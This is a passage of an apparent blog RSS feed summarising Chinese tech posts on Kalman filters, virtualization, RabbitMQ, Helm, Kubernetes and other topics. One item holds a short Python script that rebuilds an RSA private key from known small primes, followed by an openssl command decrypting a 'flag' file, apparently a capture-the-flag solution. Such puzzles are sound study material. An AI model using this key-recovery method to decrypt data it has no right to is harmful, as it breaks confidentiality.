      <description>前言：随着深度学习近几年来的突破性进展，无人驾驶汽车也在这些年开始不断向商用化推进。很显然，无人驾驶汽车已经不是遥不可及的“未来技术”了，未来10年必将成为一个巨大的市场。本系列博客将围绕当前使用的最先进的无人驾驶汽车相关技术，一步一步地带领大家学习并且掌握无人驾驶系统的每一个模块的理论基础和实现细节。由于无人驾驶汽车系统构成及其复杂，本系列博客仅讨论软件部分的内容，关于汽车，传感器和底层的硬件，不是我们关注的重点。至于连载的顺序和技术路线，本人其实是同时开始的，先完成哪一节就先发那一节。&#xA;我一直反感国内的一些中文水书，这些书的产生的根源就是国内浮躁的技术氛围，我希望能够系统详细的以中文总结无人驾驶汽车的整个技术基础，本系列博客将详细展开无人汽车的基础理论和和这些理论的实现的小例子，编写不易，转载请附来源：http://blog.csdn.net/AdamShan/article/details/78248421&#xA;首先我将带大家了解无人驾驶汽车系统感知模块的重要技术——卡尔曼滤波，卡尔曼滤波部分我打算分三节（三次博客的内容）：&#xA;卡尔曼滤波与行人状态估计扩展卡尔曼滤波（EKF）与传感器融合过程模型，无损卡尔曼滤波（UKF）与车辆状态轨迹 本节为卡尔曼滤波，主要讲解卡尔曼滤波的具体推导，卡尔曼滤波在行人状态估计中的一个小例子。&#xA;为什么要学卡尔曼滤波？ 卡尔曼滤波以及其扩展算法能够应用于目标状态估计，如果这个目标是行人，那么就是行人状态估计（或者说行人追踪），如果这个目标是自身，那么就是车辆自身的追踪（结合一些地图的先验，GPS等数据的话就是自身的定位）。在很多的无人驾驶汽车项目中，都能找到卡尔曼滤波的扩展算法的身影（比如说EKF，UKF等等）。本节我们从最简单的卡尔曼滤波出发，完整的理解一遍卡尔曼滤波的推导过程，并实现一个简单的状态估计Python程序。&#xA;卡尔曼滤波是什么？ 我们通常要对一些事物的状态去做估计，为什么要做估计呢？因为我们通常无法精确的知道物体当前的状态。为了估计一个事物的状态，我们往往会去测量它，但是我们不能完全相信我们的测量，因为我们的测量是不精准的，它往往会存在一定的噪声，这个时候我们就要去估计我们的状态。卡尔曼滤波就是一种结合预测（先验分布）和测量更新（似然）的状态估计算法。&#xA;一些概率论的知识基础 下面是一些概率论的基础知识，如果之前有这方面的知识储备那当然是最好的，很有利于我们理解整个博客内容，如果没有这方面的基础而且也看不懂下面的内容也没关系，我会以一个相对直观的方式来展现整个理论部分。&#xA;先验概率 P ( X ) P(X) P(X)：仅仅依赖主观上的经验，事先根据已有的只是的推断 后验概率 P ( X ∣ Z ) P(X|Z) P(X∣Z)：是在相关证据或者背景给定并纳入考虑以后的条件概率似然 P ( Z ∣ X ) P(Z|X) P(Z∣X)：已知结果区推测固有性质的可能性 贝叶斯公式：&#xA;P ( A ∣ B ) = P ( A ) × P ( B ∣ A ) P ( B ) P(A|B) = \frac{P(A) \times P(B|A)}{P(B)} P(A∣B)=P(B)P(A)×P(B∣A)​&#xA;后验分布正比于先验分布乘以似然。&#xA;卡尔曼滤波完整推导 一个简单的例子 若干年后，我们的可回收火箭要降落到地球，我们比较关心的状态就是我们的飞行器的高度了，飞行器的高度就是我们想要估计的状态，我们会通过一些传感器去测量我们当前的高度信息，比如说使用气压计。假如我们每一次测量，当前高度都变成上一次测量的 95 % 95\% 95%，那么我们就可以得到如下关系：</description>
    </item>
    <item>
      <title>openstack（一）之虚拟化简介</title>
      <link>https://bchobby.github.io/posts/eb8832229885bdf2cb9bcf43d7cbf054/</link>
      <pubDate>Sun, 15 Oct 2017 17:56:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb8832229885bdf2cb9bcf43d7cbf054/</guid>
      <description>写在前面：云计算在服务器端提供集中的物理计算资源，然后将这些物理资源进行虚拟化，为用户提供一个隔离、安全、可信的虚拟工作环境。因此在学习云计算和openstack之前应先了解下虚拟化技术。&#xA;1.what is 虚拟化 本质上，虚拟化就是由位于下层的软件模块，根据上一层软件模块的期待，抽象出一个虚拟的软件或硬件接口，使上一层软件可以直接运行在与自己所期待的运行环境完全一致的虚拟环境上。&#xA;在云计算中的虚拟化一般是指硬件抽象层上的虚拟化，是指将一台物理计算机系统虚拟化为一台或多台虚拟计算机系统。一台物理的服务器上可以跑多台虚拟机，每个虚拟计算系统都拥有自己的虚拟硬件，如CPU、内存和设备等，并提供一个独立的虚拟机执行环境。虚拟机的实现是通过虚拟机监控器（Virtual Machine Monitor，VMM，也可称为Hypervisor）实现的。&#xA;虚拟化环境具体结构如下图所示：&#xA;2.虚拟化的实现方式 根据虚拟化的实现方式可分为两种：&#xA;（1）1型虚拟化&#xA;Hypervisor 直接安装在物理机上，多个虚拟机在 Hypervisor 上运行。Hypervisor 实现方式一般是一个特殊定制的 Linux 系统。Xen 和 VMWare 的 ESXi 都属于这个类型。如下图所示：&#xA;（2）2型虚拟化&#xA;物理机上首先安装常规的操作系统，比如 Redhat、Ubuntu 和 Windows。Hypervisor 作为 OS 上的一个程序模块运行，并对管理虚拟机进行管理。KVM、VirtualBox 和 VMWare Workstation 都属于这个类型。如下图所示：&#xA;比较：&#xA;1型虚拟化一般对硬件虚拟化功能进行了特别优化，性能上比2型要高；&#xA;2型虚拟化因为基于普通的操作系统，会比较灵活，比如支持虚拟机嵌套。嵌套意味着可以在KVM虚拟机中再运行KVM。&#xA;根据VMM所提供的虚拟平台类型又可将VMM分为两种：&#xA;（1）完全虚拟化&#xA;VMM虚拟的是现实存在的平台，并且在客户机操作系统看来，虚拟平台和现实平台是一样的，客户机操作系统感觉不到运行在一个虚拟平台上，现有的操作系统无需进行任何修改就可以运行在这样的虚拟平台上。&#xA;（2）类虚拟化&#xA;第二类VMM虚拟出的平台是现实中不存在的，而是经过VMM重新定义的。虚拟平台需要对所运行的客户机操作系统进行或多或少的修改使之适应虚拟环境，客户机操作系统也就知道自己运行在虚拟平台上，并且会去主动适应。&#xA;3.虚拟化相关 虚拟化中核心技术：CPU虚拟化，内存虚拟化，I/O虚拟化，网络虚拟化&#xA;虚拟化引入的新特性：动态迁移、虚拟机快照、虚拟机克隆、P2V(Physical to Virtual Machine)&#xA;典型的虚拟化产品：VMware（包括VMware ESX Server、VMware Workstation、Vmware Fusion），Microsoft（Virtual PC和Virtual Server），Xen，KVM&#xA;高层管理工具：XenAPI，Libvirt</description>
    </item>
    <item>
      <title>rabbitmq安装后，web管理端口http://localhost:15672/ 无法访问的解决</title>
      <link>https://bchobby.github.io/posts/6766483b09fc329cc6aa498364dc4ab7/</link>
      <pubDate>Sun, 15 Oct 2017 11:27:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6766483b09fc329cc6aa498364dc4ab7/</guid>
      <description>在执行http://localhost:15672/ 提示该页无法访问，因为这是rabbitmq安装后的一个web管理平台入口。当安装后就能访问了。需要在cmd窗口执行一个命令：&#xA;rabbitmq-plugins enable rabbitmq_management&#xA;此命令执行要先定位到rabbitmq的安装目录下的sbin文件夹下。&#xA;执行后仍然不能访问，通过cmd中的提示，说是需要执行rabbitmqctl start_app&#xA;但是执行后提示：&#xA;starting node rabbit@jrms2UT6R8IVNHb&#xA;Error: unable to connect to node rabbit@jrms2UT6R8IVNHb: nodedown&#xA;网上搜索说出现这种情况是因为更改了计算机的名，再改回去就可以解决此问题。&#xA;这确实在安装完rabbitmq后更改过计算机名。但是要改回去却也不可能。因为这个计算机名有用。&#xA;在cmd窗口也看到了相关rabbitmq配置文件位置的相关信息。通过定位。找到了配置文件目录：&#xA;C:\Users\Administrator\AppData\Roaming\RabbitMQ\db&#xA;在这个文件夹下发现3个文件夹。&#xA;第一个：rabbit@IRQ9I0LGSTKH5CP-mnesia&#xA;第二个：rabbit@IRQ9I0LGSTKH5CP-plugins-expand&#xA;第三个：rabbit@jrms2UT6R8IVNHb-mnesia&#xA;IRQ9I0LGSTKH5CP这是我第一次安装rabbitmq的时候计算机名。jrms2UT6R8IVNHb是我更改的计算机名。而且我发现前两个文件夹下有文件，而第三个文件夹下什么也没有。怀疑改了名后没有自动生成相应的文件夹及下面的文件。当时我首先想的是是不是创建相应的文件夹，并把第一，第二文件夹下的文件复制过去就可以解决此问题。最终没尝试，而是选择重装rabbitmq。因为是由于更改计算机名造成的，那就重装一次。重装后，在这个C:\Users\Administrator\AppData\Roaming\RabbitMQ\db发觉又多了个文件夹rabbit@jrms2UT6R8IVNHb-plugins-expand 并且包含现在我计算机名的文件夹下都有了文件。这时再访问http://localhost:15672/ 已经可以正常访问了。</description>
    </item>
    <item>
      <title>电路板上电源和地短路，电压一定会被拉到0v吗？</title>
      <link>https://bchobby.github.io/posts/89e75d432749103dc151fdb16ef36747/</link>
      <pubDate>Sun, 15 Oct 2017 00:34:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89e75d432749103dc151fdb16ef36747/</guid>
      <description>万用表测量二极管的那一档常被用来测量电路板上的两点之间是否导通，听见滴的一下，就认为是通的。如果测的是电容，那么正常情况下回在表笔刚接上去时滴一下，这是电容在充电；电容充满电后就不会响了。 遇到的一个电路板，直流电源和地之间正常情况下用万用表的这一档量是不会响的，但是其中的一块用万用表的这一档测量电源和地之间会一直响，电路也无法正常工作。这种情况一般都会认为电源和地短路了，那么问题来了，电源对地短路电压一定会被拉低到0V吗？其实不一定，这块电路板的电源此时电压仍然是正常的5V，看起来很奇怪，但是仔细分析一下就知道原因了。直流电源部分是采用的LM2596由24V降压到5V，设计的输出能力是3A。讲故障板的LM2596的输出与后面的负载电路断开后测量负载电路的输入电阻，阻值为26.5欧，计算可以得到电源输出的电流是5伏/26.5欧=0.19安。这个电流是远远小于3A的，因此电源电压不会被拉低。&#xA;所有，当遇到电路故障时，测量电源电压发现电压是正确的，不一定代表着没有发生短路。</description>
    </item>
    <item>
      <title>helm的使用</title>
      <link>https://bchobby.github.io/posts/12749131f9beb73dcfb2f3b077e2a7b5/</link>
      <pubDate>Sat, 14 Oct 2017 19:33:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/12749131f9beb73dcfb2f3b077e2a7b5/</guid>
      <description>helm作为k8s的包管理工具，让我们很方便的在k8s上安装部署软件&#xA;helm实际上分为几个部分：&#xA;1）.helm(client)&#xA;helm可以把安装chart请求发送给tiller&#xA;2）.tiller(server)&#xA;相当于helm server，部署在集群内部，接收部署请求，调用apiserver完成部署&#xA;3）.repo&#xA;相当于rpm包的yum源，里面存放着一系列包，可以使远程的，也可以是本地目录&#xA;4）.chart&#xA;相当于rpm包，包含服务的一系列配置信息，可以通过远程获取，也可以本地创建&#xA;在安装helm之前需要确保本地有安装以及配置好的kubectl，包含kubeconfig文件&#xA;1.下载helm&#xA;wget https://storage.googleapis.com/kubernetes-helm/helm-v2.6.2-darwin-amd64.tar.gz&#xA;2.初始化tiller&#xA;helm init&#xA;#init将获取本地默认的kubeconfig文件，然后在k8s上面部署 deploy/tiller-deploy&#xA;想要测试新功能使用最新版本，只需要后面加上--canary-image参数&#xA;除了通过helm init之外tiller也可以使用out-of-cluster的部署方式&#xA;./tiller #需要配置kubeconfig&#xA;3.更新本地&#xA;helm repo update #从repo里面更新chart&#xA;4.安装服务&#xA;例如安装prometheus&#xA;helm install stable/prometheus --name=prometheus&#xA;5.查看安装的服务&#xA;helm ls&#xA;6.删除已经安装的服务&#xA;helm delete prometheus&#xA;7.更新tiller&#xA;export TILLER_TAG=v2.0.0-beta.1 kubectl --namespace=kube-system set image deployments/tiller-deploy tiller=gcr.io/kubernetes-helm/tiller:$TILLER_TAG&#xA;deployment &#34;tiller-deploy&#34; image updated&#xA;TILLER_TAG=canary 将设置为最新image&#xA;具体helm命令的用法请参考官方文档，包含组件的概念上面也已经做了介绍，命令多用help看一下就OK，链接https://docs.helm.sh/helm/helm/&#xA;学习的重点就是自己创建想要的chart 内容比较多，不在赘述&#xA;添加 repo helm repo add incubator https://kubernetes-charts-incubator.storage.googleapis.com/&#xA;查找helm search incubator</description>
    </item>
    <item>
      <title>通过Xshell连接和访问linux</title>
      <link>https://bchobby.github.io/posts/ab263bcdcc92c7a189895e3e93bfca79/</link>
      <pubDate>Sat, 14 Oct 2017 15:01:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab263bcdcc92c7a189895e3e93bfca79/</guid>
      <description>通过Xshell访问和连接linux&#xA;Xshell是一款强大的安全终端模拟软件，Xshell模拟了远程主机的操作，其实质就是通过访问和连接到远程主机，在本地实现对远程主机的操作。&#xA;一、在电脑桌面或开始-所有程序中找到“Xshell”，这里以Xshell 5为例子，如下图找到Xshell 5的程序图标，双击打开这个程序。&#xA;二、Xshell 5打开后如下图所示，会出现一个界面框，这个界面框类似于DOS的界面，需要操控远程的主机，都是通过这个界面进行操作。&#xA;三、新建连接&#xA;1、点击文件——&amp;gt;新建；或者使用快捷键Alt+N打开新建会话窗口。&#xA;端口默认是22，不用修改&#xA;2、输入名称、ip后点击确定会弹出一个新的会话窗口&#xA;3、点击连接，输入用户名和密码(用你想要连接的linux主机的用户名和密码),勾选记住用户名和密码方便下次连接。&#xA;Xshell连接linux服务器就是以上步骤啦，最近刚用这个，总结一下~</description>
    </item>
    <item>
      <title>【Maven】入门开发过程中遇到的问题：Could not transfer metadata</title>
      <link>https://bchobby.github.io/posts/df8ee404fd4d03565b2d6cafe0b4b6db/</link>
      <pubDate>Fri, 13 Oct 2017 14:53:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df8ee404fd4d03565b2d6cafe0b4b6db/</guid>
      <description>最近加入新公司，从公司gitlib上下载了一个工程进行入手。&#xA;该项目用到了很多公司自己的依赖，由于我刚来所以很多依赖需要配置maven的setting.xml和工程pom文件下载，在这里为了省事直接拷贝了部门老大的setting文件以及pom。&#xA;然后maven build--clean install，进行编译&#xA;在编译项目的过程中发现很多公司私有依赖无法下载，原因是无法连接到服务器，请求被拒绝。报错如下&#xA;这个问题困扰了我一天多，经过检测各种配置，上网查询各种资料发现最终原因：&#xA;访问私服仓库下载依赖需要在maven setting.xml中配置代理以便开启私服访问权限。&#xA;这&amp;lt;active&amp;gt;标签内容表示是否启用代理，由于部门老大本地仓库依赖已经齐全，不需要登录私服下载了，他就把代理关了，我直接拷贝他的文件，导致不能开启代理访问私服。&#xA;这是细节上的失误&#xA;然后下方配置好远程仓库地址等：&#xA;配置完成之后保存，再pom文件中配置需要的jar包，这样如果远程仓库里有你需要的依赖，编辑器便会自动下载。</description>
    </item>
    <item>
      <title>多个library使用butterknife的坑</title>
      <link>https://bchobby.github.io/posts/4921762fdf8d6aac876d8706e7690cf8/</link>
      <pubDate>Wed, 11 Oct 2017 16:44:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4921762fdf8d6aac876d8706e7690cf8/</guid>
      <description>butterknife在github上给出了library中使用的方法 project.build文件添加&#xA;buildscript { repositories { mavenCentral() } dependencies { classpath &#39;com.jakewharton:butterknife-gradle-plugin:8.8.1&#39; } } 主model 添加 apply plugin: &#39;android-apt&#39; dependencies { //butterknife compile &#39;com.jakewharton:butterknife:8.8.1&#39; apt &#39;com.jakewharton:butterknife-compiler:8.8.1&#39; } library添加 apply plugin: &#39;com.jakewharton.butterknife&#39; apply plugin: &#39;android-apt&#39; dependencies {&#xD;//butterknife compile &#39;com.jakewharton:butterknife:8.8.1&#39; apt &#39;com.jakewharton:butterknife-compiler:8.8.1&#39;} 使用R2替代R class ExampleActivity extends Activity { @BindView(R2.id.user) EditText username; @BindView(R2.id.pass) EditText password; ... } 官方及能够收罗到的就是上面这些&#xA;那么遇到的是什么坑呢?&#xA;新项目中根据功能不同需要分成6个lib, 其中一个主lib(app),一个基础lib(BaseLibrary),&#xA;四个功能lib(这里分别叫libraryOne .libraryTwo .libraryThree .libraryFour ),主lib依赖的四个功能lib,四个功能lib都依赖了BaseLibrary 我先在BaseLibrary的build文件添加了&#xA;apply plugin: &#39;com.jakewharton.butterknife&#39; apply plugin: &#39;android-apt&#39; dependencies { //butterknife compile &#39;com.</description>
    </item>
    <item>
      <title>QT mouseMoveEvent事件（qmainwindow内追踪鼠标事件事件）</title>
      <link>https://bchobby.github.io/posts/8d5e1a7974acb81ed37d00ce51d6b0c8/</link>
      <pubDate>Wed, 11 Oct 2017 15:53:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d5e1a7974acb81ed37d00ce51d6b0c8/</guid>
      <description>Qt的mouseMoveEvent的一些问题： 在Qt中要捕捉鼠标移动事件需要重写MouseMoveEvent，但是MouseMoveEvent为了不太耗资源在默认状态下是要鼠标按下才能捕捉到。要想鼠标不按下时的移动也能捕捉到，需要setMouseTracking(true)。&#xA;bool mouseTracking 这个属性保存的是窗口部件跟踪鼠标是否生效。&#xA;如果鼠标跟踪失效（默认），当鼠标被移动的时候只有在至少一个鼠标按键被按下时，这个窗口部件才会接收鼠标移动事件。&#xA;如果鼠标跟踪生效，如果没有按键被按下，这个窗口部件也会接收鼠标移动事件。&#xA;QWidget中使用是没有问题的，但是，对于QMainWindow即使使用了setMouseTracking(true)依然无法捕捉到鼠标没有按下的移动，只有在鼠标按下是才能捕捉。&#xA;解决办法：要先把QMainWindow的CentrolWidget使用setMouseTracking(true)开启移动监视。然后在把QMainWindow的setMouseTracking(true)开启监视。之后就一切正常了。&#xA;原因：CentrolWIdget是QMainWindow的子类，你如果在子类上响应鼠标事件，只会触发子类的mouseMoveEvent，根据C++继承和重载的原理，所以子类也要setMouseTracking(true); 所以如果你想响应鼠标事件的控件被某个父控件包含，则该控件及其父控件或容器也需要setMouseTracking(true);&#xA;ui-&amp;gt;centralWidget-&amp;gt;setMouseTracking(true);&#xA;setMouseTracking(true); //这是激活整个窗体的鼠标追踪 ui-&amp;gt;pBtnMenu-&amp;gt;setMouseTracking(true); //进入某个按钮时，鼠标追踪属性失效，因此我们也需要激活该按钮的鼠标追踪功能 ui-&amp;gt;pBtnTest-&amp;gt;setMouseTracking(true); //然后再实现mouseMoveEvent()事件&#xA;void MainWindow::mouseMoveEvent(QMouseEvent *e) { qDebug()&amp;lt;&amp;lt;&#34;mouse move &#34;; e-&amp;gt;accept(); if(enterBtn(e-&amp;gt;pos(),ui-&amp;gt;pBtnMenu)) //Qlab_context-&amp;gt;setText(&#34;这是第一个按钮&#34;); qDebug()&amp;lt;&amp;lt;&#34;menu&#34;; if(enterBtn(e-&amp;gt;pos(),ui-&amp;gt;pBtnTest)) qDebug()&amp;lt;&amp;lt;&#34;test&#34;; //Qlab_context-&amp;gt;setText(&#34;这是第二个按钮&#34;); } //这里我使用另一个函数来完成判断鼠标是否在一个按钮区域内，如果在区域内只返回真，否则返回假 bool MainWindow::enterBtn(QPoint pp, QPushButton *btn) { int height = btn-&amp;gt;height(); int width = btn-&amp;gt;width(); QPoint btnMinPos = btn-&amp;gt;pos(); QPoint btnMaxPos = btn-&amp;gt;pos(); btnMaxPos.setX(btn-&amp;gt;pos().x()+width); btnMaxPos.setY(btn-&amp;gt;pos().y()+height); if(pp.x() &amp;gt;= btnMinPos.x() &amp;amp;&amp;amp; pp.y() &amp;gt;= btnMinPos.y() &amp;amp;&amp;amp; pp.x() &amp;lt;= btnMaxPos.x() &amp;amp;&amp;amp; pp.</description>
    </item>
    <item>
      <title>Kubernetes 部署失败的 10 个最普遍原因（Part 2）</title>
      <link>https://bchobby.github.io/posts/461629fd98fffea45c10381f6fe07bf3/</link>
      <pubDate>Wed, 11 Oct 2017 14:54:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/461629fd98fffea45c10381f6fe07bf3/</guid>
      <description>本文讲的是Kubernetes 部署失败的 10 个最普遍原因（Part 2）【编者的话】本文作者通过和客户联合开发，从实践中总结了 Kubernetes 部署失败的 10 大普遍原因，本文阐述了剩下的 5 大原因。作者在实践中，尽量把繁琐工作自动化，授人以鱼的同时也授人以渔，小编觉得这是本文最有价值的地方。 【深圳站｜3天烧脑式Kubernetes训练营】培训内容包括：Kubernetes概述、架构、日志和监控，部署、自动驾驶、服务发现、网络方案等核心机制分析，进阶篇——Kubernetes调度工作原理、资源管理及源码分析等。 本周早些时候我写了 Kubernetes 部署失败的 前5个 最普遍原因。本文是剩下的几个，包括几个特别令人沮丧的。 6. 资源配额 和资源限额类似，Kubernetes 也允许管理员给每个 namespace 设置 资源配额 。这些配额可以在 Pods，Deployments，PersistentVolumes，CPU，内存等资源上设置软性或者硬性限制。 让我们看看超出资源配额后会发生什么。以下是我们的 deployment 例子： # test-quota.yaml apiVersion: extensions/v1beta1 kind: Deployment metadata: name: gateway-quota spec: template: spec: containers: - name: test-container image: nginx 我们可用 kubectl create -f test-quota.yaml 创建，然后观察我们的 Pods： $ kubectl get pods NAME READY STATUS RESTARTS AGE gateway-quota-551394438-pix5d 1/1 Running 0 16s 看起来很好，现在让我们扩展到 3 个副本： kubectl scale deploy/gateway-quota --replicas=3 ，然后再次观察 Pods： $ kubectl get pods NAME READY STATUS RESTARTS AGE gateway-quota-551394438-pix5d 1/1 Running 0 9m 啊，我们的pod去哪了？让我们观察一下 deployment： $ kubectl describe deploy/gateway-quota Name: gateway-quota Namespace: fail CreationTimestamp: Sat, 11 Feb 2017 16:33:16 -0500 Labels: app=gateway Selector: app=gateway Replicas: 1 updated | 3 total | 1 available | 2 unavailable StrategyType: RollingUpdate MinReadySeconds: 0 RollingUpdateStrategy: 1 max unavailable, 1 max surge OldReplicaSets: NewReplicaSet: gateway-quota-551394438 (1/3 replicas created) Events: FirstSeen LastSeen Count From SubObjectPath Type Reason Message --------- -------- ----- ---- ------------- -------- ------ ------- 9m 9m 1 {deployment-controller } Normal ScalingReplicaSet Scaled up replica set gateway-quota-551394438 to 1 5m 5m 1 {deployment-controller } Normal ScalingReplicaSet Scaled up replica set gateway-quota-551394438 to 3 在最后一行，我们可以看到 ReplicaSet 被告知扩展到 3 。我们用 describe 来观察一下这个 ReplicaSet 以了解更多信息： kubectl describe replicaset gateway-quota-551394438 Name: gateway-quota-551394438 Namespace: fail Image(s): nginx Selector: app=gateway,pod-template-hash=551394438 Labels: app=gateway pod-template-hash=551394438 Replicas: 1 current / 3 desired Pods Status: 1 Running / 0 Waiting / 0 Succeeded / 0 Failed No volumes.</description>
    </item>
    <item>
      <title>python 生成openssl rsa 私钥</title>
      <link>https://bchobby.github.io/posts/ae31e6b2fea79d5f6710e8f3832989e1/</link>
      <pubDate>Wed, 11 Oct 2017 11:59:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ae31e6b2fea79d5f6710e8f3832989e1/</guid>
      <description># coding=utf-8 import math import sys from Crypto.PublicKey import RSA keypair = RSA.generate(1024) keypair.p = 275127860351348928173285174381581152299 keypair.q = 319576316814478949870590164193048041239 keypair.e = 65537 keypair.n = keypair.p * keypair.q Qn = long((keypair.p-1) * (keypair.q-1)) i = 1 while (True): x = (Qn * i ) + 1 if (x % keypair.e == 0): keypair.d = x / keypair.e break i += 1 private = open(&#39;private.pem&#39;,&#39;w&#39;) private.write(keypair.exportKey()) private.close() openssl rsautl -decrypt -in flag.</description>
    </item>
    <item>
      <title>如何在Ubuntu 12.04/Ubuntu16.04下安装lzop压缩工具源码</title>
      <link>https://bchobby.github.io/posts/f19a9bef8583ef984e8544ed9227c463/</link>
      <pubDate>Tue, 10 Oct 2017 09:48:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f19a9bef8583ef984e8544ed9227c463/</guid>
      <description>首先介绍一下lzop（以下内容摘自lzop官网原文）：&#xA;lzop is a file compressor which is very similar to gzip. lzop uses the LZO data compression library for compression services, and its main advantages over gzip are much higher compression and decompression speed (at the cost of some compression ratio).&#xA;翻译过来就是：&#xA;lzop是一款与gzip很类似的文件压缩工具，它使用lzo压缩库来提供服务，与gzip工具相比，它的最大优势就是极快的压缩速度和解压速度（在相同的压缩比例的前提下）。&#xA;看到这里，很多人可能会问，与gzip相比，速度快，那到底能快多少呢？笔者专门做了一个测试，使用lzop工具与gzip工具，分别对同一个文件进行压缩，测试压缩的时间、压缩后的文件大小，结果如下：&#xA;leon@Ubuntu: time lzop test.data real 0m7.429s user 0m5.260s sys 0m1.100s 485M test.data.lzo leon@Ubuntu: time gzip test.data real 1m9.639s user 1m1.615s sys 0m0.881s 293M test.data.gz 可以看出，在速度上，lzop确实比gzip厉害了不少。难怪linux内核编译完成后，都要使用这个工具来进行压缩。</description>
    </item>
    <item>
      <title>error C1041: 无法打开程序数据库“xxx\vc140.pdb”；如果要将多个 CL.EXE 写入同一个 .PDB 文件，请使用</title>
      <link>https://bchobby.github.io/posts/05522fbf23ab7e41efbacfeb0677ab8a/</link>
      <pubDate>Sun, 08 Oct 2017 06:55:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05522fbf23ab7e41efbacfeb0677ab8a/</guid>
      <description>解决方案：修改项目属性 右击项目 --&amp;gt; &#34;属性”&#xA;1. “C/C++” --&amp;gt; &#34;常规” --&amp;gt;”调试信息格式” 设置为 “C7 兼容(/Z7)”&#xA;2. “C/C++” --&amp;gt; &#34;代码生成” --&amp;gt;”启用字符串池” 设置为 “是(/GF)”&#xA;3. “链接器” --&amp;gt; &#34;调试” --&amp;gt;”生成调试信息” 设置为 “是(/DEBUG)” 最后就可以编译通过了。</description>
    </item>
    <item>
      <title>数据库连接池</title>
      <link>https://bchobby.github.io/posts/a70c462034884869335a132689fe1e9a/</link>
      <pubDate>Sat, 07 Oct 2017 21:56:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a70c462034884869335a132689fe1e9a/</guid>
      <description>编写数据库连接池 编写连接池需实现java.sql.DataSource接口。DataSource接口中定义了两个重载的getConnection方法：&#xA;Connection getConnection()&#xA;Connection getConnection(String username, String password) 实现DataSource接口，并实现连接池功能的步骤：&#xA;在DataSource构造函数中批量创建与数据库的连接，并把创建的连接加入LinkedList对象中。&#xA;实现getConnection方法，让getConnection方法每次调用时，从LinkedList中取一个Connection返回给用户。&#xA;当用户使用完Connection，调用Connection.close()方法时，Collection对象应保证将自己返回到LinkedList中,而不要把conn还给数据库。&#xA;Collection保证将自己返回到LinkedList中是此处编程的难点&#xA;数据库连接池：第一次访问比较慢，后面就好了&#xA;class B extends Thread {//继承线程&#xA;public void run(){&#xA;while(true){&#xA;// 把用完的Connection 在加入到连接池中&#xA;for(Connection c : MyConnPool.t){ if(c.isClose()){&#xA;// 状态进行改变&#xA;MyConnPool.list.add(c);&#xA;}&#xA;}&#xA;int size = MyConnPool.list.size(); if(size &amp;lt; 20){&#xA;int x = 50 - size;&#xA;for(int i = 0 ; i &amp;lt; x ; i++){&#xA;MyConnPool.list.add(DBUtil.getConnection());&#xA;}&#xA;}&#xA;if(size &amp;gt; 150){&#xA;int y = size - 120;</description>
    </item>
    <item>
      <title>Snipast截图软件</title>
      <link>https://bchobby.github.io/posts/5f8a08f07ca84a31eaae7a33de3c7e48/</link>
      <pubDate>Thu, 05 Oct 2017 14:53:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f8a08f07ca84a31eaae7a33de3c7e48/</guid>
      <description>代码或者内容有任何问题，请留言，不胜感激 Snipaste Snipaste=Snip + Paste =截图 + 贴图。&#xA;开发了三年的截图工具，但不只是截图 它将 截图 与 贴图 整合在了一起，你可以将刚刚的截图随意放置在桌面上而不需要打开图片浏览器&#xA;Snipaste 的功能有点多，首先这是一款截图工具，能够进行各种简单、高级的截图，并可以编辑截图。其次可以将截图、文字、图片、网页、代码等剪贴板内的东西以图片的形式贴在屏幕上。&#xA;我们还是从作者眼花缭乱的演示动画中来看看具体怎么玩吧：&#xA;有人问博主这些酷炫gif怎么录制的，这里有工具推荐：【录教程必备】推荐几款屏幕录制工具（可录制GIF）&#xA;截图 贴图，即是使图片成为一个窗口并置顶显示：&#xA;贴图窗口可以旋转、缩放、半透明、鼠标穿透：&#xA;以上功能也许并不新奇，但Snipaste还有很多特别的地方。&#xA;精确控制截图范围：&#xA;截图记录回放：&#xA;是的，不只是回放全屏的截图，之前截图中的画图过程也能重现。&#xA;取色（不只是显示取色框，能复制当前像素点的 RGB 值）：&#xA;取色之后，还能把颜色贴出来（同时可得到各种颜色格式的转换）：&#xA;普通的纯文本，可以转换成图片：&#xA;HTML 格式的文本，也可以：&#xA;配合支持 HTML 格式复制的代码编辑器食用更佳：&#xA;图片编辑功能不止在截图时可用，贴图窗口亦可：&#xA;有马克笔、马赛克、高斯模糊、橡皮擦功能：&#xA;文字可旋转：&#xA;当然，截图和贴图还可以结合得更紧密。&#xA;截图后复制到剪贴板里的图片，贴出来可以就在原来截图的位置：&#xA;也可以一步到位：&#xA;还有炫酷一点的，在贴图窗口播放 GIF ：&#xA;不喜欢默认的蓝色界面也没关系，主题色任你选，通知栏图标也随你定制：&#xA;换个截图遮罩的颜色：&#xA;软件下载地址：&#xA;https://www.snipaste.com/</description>
    </item>
    <item>
      <title>贪婪算法之最大相容集合</title>
      <link>https://bchobby.github.io/posts/b22e02092d96e8137ad200617be6a05e/</link>
      <pubDate>Tue, 03 Oct 2017 14:55:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b22e02092d96e8137ad200617be6a05e/</guid>
